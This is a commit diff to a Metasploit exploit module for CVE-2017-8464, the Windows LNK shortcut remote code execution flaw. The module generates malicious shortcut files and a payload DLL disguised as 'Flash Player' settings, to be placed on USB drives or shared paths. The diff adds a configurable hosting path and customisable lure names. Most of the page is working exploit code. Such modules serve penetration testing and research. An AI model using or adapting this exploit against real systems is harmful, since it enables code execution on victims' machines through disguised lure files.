Skip to content

Commit f2f48cb

Browse files
committed
Update the CVE-2017-8464 module
1 parent 2546021 commit f2f48cb

File tree

1 file changed

+22
-14
lines changed

1 file changed

+22
-14
lines changed

modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

Lines changed: 22 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -17,18 +17,23 @@ def initialize(info = {})
1717
info,
1818
'Name' => 'LNK Code Execution Vulnerability',
1919
'Description' => %q{
20-
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL.
20+
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
21+
that contain a dynamic icon, loaded from a malicious DLL.
2122
2223
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
2324
similar except an additional SpecialFolderDataBlock is included. The folder ID set
2425
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
2526
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
2627
DLL file.
28+
29+
If not PATH is specified, the module will use drive letters D through Z so the files
30+
may be placed in the root path of a drive such as a shared VM folder or USB drive.
2731
},
2832
'Author' =>
2933
[
30-
'Uncredited', # vulnerability discovery
31-
'Yorick Koster' # msf module
34+
'Uncredited', # vulnerability discovery
35+
'Yorick Koster', # msf module
36+
'Spencer McIntyre' # msf module
3237
],
3338
'License' => MSF_LICENSE,
3439
'References' =>
@@ -56,22 +61,24 @@ def initialize(info = {})
5661
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
5762
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
5863
],
59-
'DefaultTarget' => 0, # Default target is Automatic
60-
'DisclosureDate' => 'Jun 13 2017'
64+
'DefaultTarget' => 0, # Default target is Automatic
65+
'DisclosureDate' => 'Jun 13 2017'
6166
)
6267
)
6368

6469
register_options(
6570
[
6671
OptString.new('FILENAME', [false, 'The LNK file', 'Flash Player.lnk']),
6772
OptString.new('DLLNAME', [false, 'The DLL file containing the payload', 'FlashPlayerCPLApp.cpl']),
68-
OptString.new('DRIVE', [false, 'Drive letter assigned to USB drive on victim\'s machine'])
73+
OptString.new('PATH', [false, 'An explicit path to where the files will be hosted'])
6974
]
7075
)
7176

7277
register_advanced_options(
7378
[
74-
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
79+
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
80+
OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
81+
OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
7582
]
7683
)
7784
end
@@ -87,14 +94,14 @@ def exploit
8794
dll_path = store_file(dll, dll_name)
8895
print_status("#{dll_path} created, copy it to the root folder of the target USB drive")
8996

90-
if datastore['DRIVE']
91-
lnk = generate_link("#{datastore['DRIVE'].split(':')[0]}:\\#{dll_name}")
97+
if datastore['PATH']
98+
lnk = generate_link("#{datastore['PATH'].chomp("\\")}\\#{dll_name}")
9299
lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
93100
lnk_path = store_file(lnk, lnk_filename)
94-
print_status("#{lnk_path} created, copy to the target USB drive")
101+
print_status("#{lnk_path} created, copy to the target paths")
102+
95103
else
96-
# HACK: the vulnerability doesn't appear to work with UNC paths
97-
# Create LNK files to different drives instead
104+
# HACK: Create LNK files to different drives instead
98105
# Copying all the LNK files will likely trigger this vulnerability
99106
('D'..'Z').each do |i|
100107
fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
@@ -108,9 +115,10 @@ def exploit
108115
end
109116

110117
def generate_link(path)
118+
vprint_status("Generating LNK file to load: #{path}")
111119
path << "\x00"
112-
display_name = "Flash Player\x00" # LNK Display Name
113-
comment = "Manage Flash Player Settings\x00"
120+
display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name
121+
comment = datastore['LNK_COMMENT'].dup << "\x00"
114122

115123
# Control Panel Applet ItemID with our DLL
116124
cpl_applet = [

0 commit comments

Comments
 (0)